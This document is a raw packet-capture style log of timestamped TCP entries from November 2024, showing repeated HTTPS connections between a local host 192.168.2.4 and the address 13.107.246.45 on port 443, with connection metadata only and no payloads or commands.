Nov 16, 2024 04:34:07.886302948 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.886356115 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.886384010 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.886399984 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.886411905 CET	49908	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.886416912 CET	443	49908	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.892095089 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.892139912 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.892206907 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.894732952 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.894747972 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.904532909 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.914014101 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.914057970 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.914388895 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.914393902 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.932950974 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.933103085 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.933281898 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.933281898 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.933281898 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.935214996 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.935302973 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.935421944 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.935518026 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.935540915 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.943129063 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.943443060 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.943475008 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:07.943814993 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:07.943828106 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.038738966 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.038947105 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.039124012 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.039124012 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.039124012 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.041127920 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.041171074 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.041268110 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.041399956 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.041415930 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.074279070 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.074414968 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.074619055 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.074620008 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.074620008 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.076637983 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.076747894 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.076829910 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.076931953 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.076951981 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.135560989 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.136133909 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.136219025 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.136331081 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.136346102 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.233393908 CET	49909	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.233458996 CET	443	49909	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.263673067 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.263941050 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.264027119 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.264028072 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.264103889 CET	49912	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.264141083 CET	443	49912	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.266345024 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.266431093 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.266519070 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.266825914 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.266860962 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.356971025 CET	49910	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.356995106 CET	443	49910	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.388367891 CET	49911	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.388433933 CET	443	49911	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.625638962 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.626244068 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.626316071 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.626673937 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.626688004 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.692468882 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.693130016 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.693206072 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.693451881 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.693466902 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.754379034 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.754466057 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.754566908 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.754698038 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.754744053 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.754774094 CET	49913	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.754790068 CET	443	49913	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.757447958 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.757549047 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.757649899 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.757791042 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.757817030 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.773572922 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.774034023 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.774061918 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.774337053 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.774343967 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.821264029 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.821901083 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.821954966 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.822058916 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.822072029 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.862215042 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.862387896 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.862479925 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.862565994 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.862565994 CET	49914	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.862607956 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.862636089 CET	443	49914	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.864960909 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.865027905 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.865108013 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.865230083 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.865247011 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.914370060 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.914526939 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.914611101 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.914688110 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.914688110 CET	49915	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.914730072 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.914756060 CET	443	49915	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.917010069 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.917112112 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.917208910 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.917339087 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.917371035 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.949152946 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.949301958 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.949383974 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.949467897 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.949467897 CET	49916	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.949512005 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.949543953 CET	443	49916	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.951365948 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.951391935 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:08.951456070 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.952155113 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:08.952167034 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.015361071 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.015899897 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.015958071 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.016339064 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.016351938 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.146924973 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.147058010 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.147118092 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.147217035 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.147217989 CET	49917	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.147243023 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.147259951 CET	443	49917	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.149632931 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.149743080 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.149820089 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.150067091 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.150100946 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.515052080 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.558527946 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.558633089 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.558810949 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.558825970 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.610857010 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.615869045 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.615901947 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.618716002 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.618742943 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.662097931 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.677170038 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.689374924 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.689553022 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.689753056 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.702980995 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.718569994 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.745465994 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.745543003 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.745620966 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.775466919 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.775533915 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.775878906 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.775892973 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.776180983 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.776180983 CET	49919	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.776216030 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.776241064 CET	443	49919	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.777842045 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.777858973 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.778157949 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.778165102 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.778570890 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.778572083 CET	49918	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.778645039 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.778681040 CET	443	49918	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.789966106 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.789999008 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.790082932 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.790359020 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.790370941 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.791773081 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.791811943 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.791867018 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.792130947 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.792150021 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.882138968 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.882735968 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.882797956 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.883018017 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.883033037 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.903467894 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.903625965 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.903793097 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.903794050 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.903794050 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.906059027 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.906088114 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.906157017 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.906294107 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.906301022 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.921596050 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.921807051 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.921885014 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.921966076 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.921967030 CET	49920	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.922008991 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.922038078 CET	443	49920	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.923858881 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.923892021 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:09.923983097 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.924093962 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:09.924108982 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.010565042 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.010838985 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.011084080 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.011085033 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.011085033 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.013221979 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.013250113 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.013330936 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.013459921 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.013468027 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.218518972 CET	49921	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.218539953 CET	443	49921	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.312386036 CET	49922	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.312452078 CET	443	49922	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.521064043 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.521590948 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.521615982 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.522192001 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.522198915 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.548692942 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.549139023 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.549170017 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.549607992 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.549614906 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.649418116 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.649576902 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.649715900 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.649754047 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.649754047 CET	49924	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.649776936 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.649791956 CET	443	49924	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.651293993 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.652064085 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.652149916 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.652475119 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.652488947 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.652514935 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.652605057 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.652699947 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.652817011 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.652847052 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.681512117 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.681572914 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.681710005 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.681829929 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.681829929 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.681829929 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.681862116 CET	49923	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.681874990 CET	443	49923	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.684322119 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.684413910 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.684493065 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.684638023 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.684658051 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.698384047 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.698873043 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.698888063 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.699425936 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.699433088 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.744538069 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.745060921 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.745121956 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.745443106 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.745457888 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.784737110 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.784961939 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.785064936 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.785065889 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.785065889 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.787965059 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.788005114 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.788100958 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.788249016 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.788268089 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.834844112 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.834892035 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.835001945 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.835026979 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.835097075 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.835258007 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.835258007 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.835292101 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.835314989 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.838207006 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.838293076 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:10.838403940 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.838547945 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:10.838570118 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.041254997 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.041316986 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.041487932 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.041546106 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.042954922 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.043045998 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.043068886 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.043087959 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.043093920 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.045934916 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.046034098 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.046137094 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.046305895 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.046329021 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.093621016 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.093688965 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.390278101 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.391026020 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.391098976 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.391619921 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.391670942 CET	443	49928	13.107.246.45	192.168.2.4
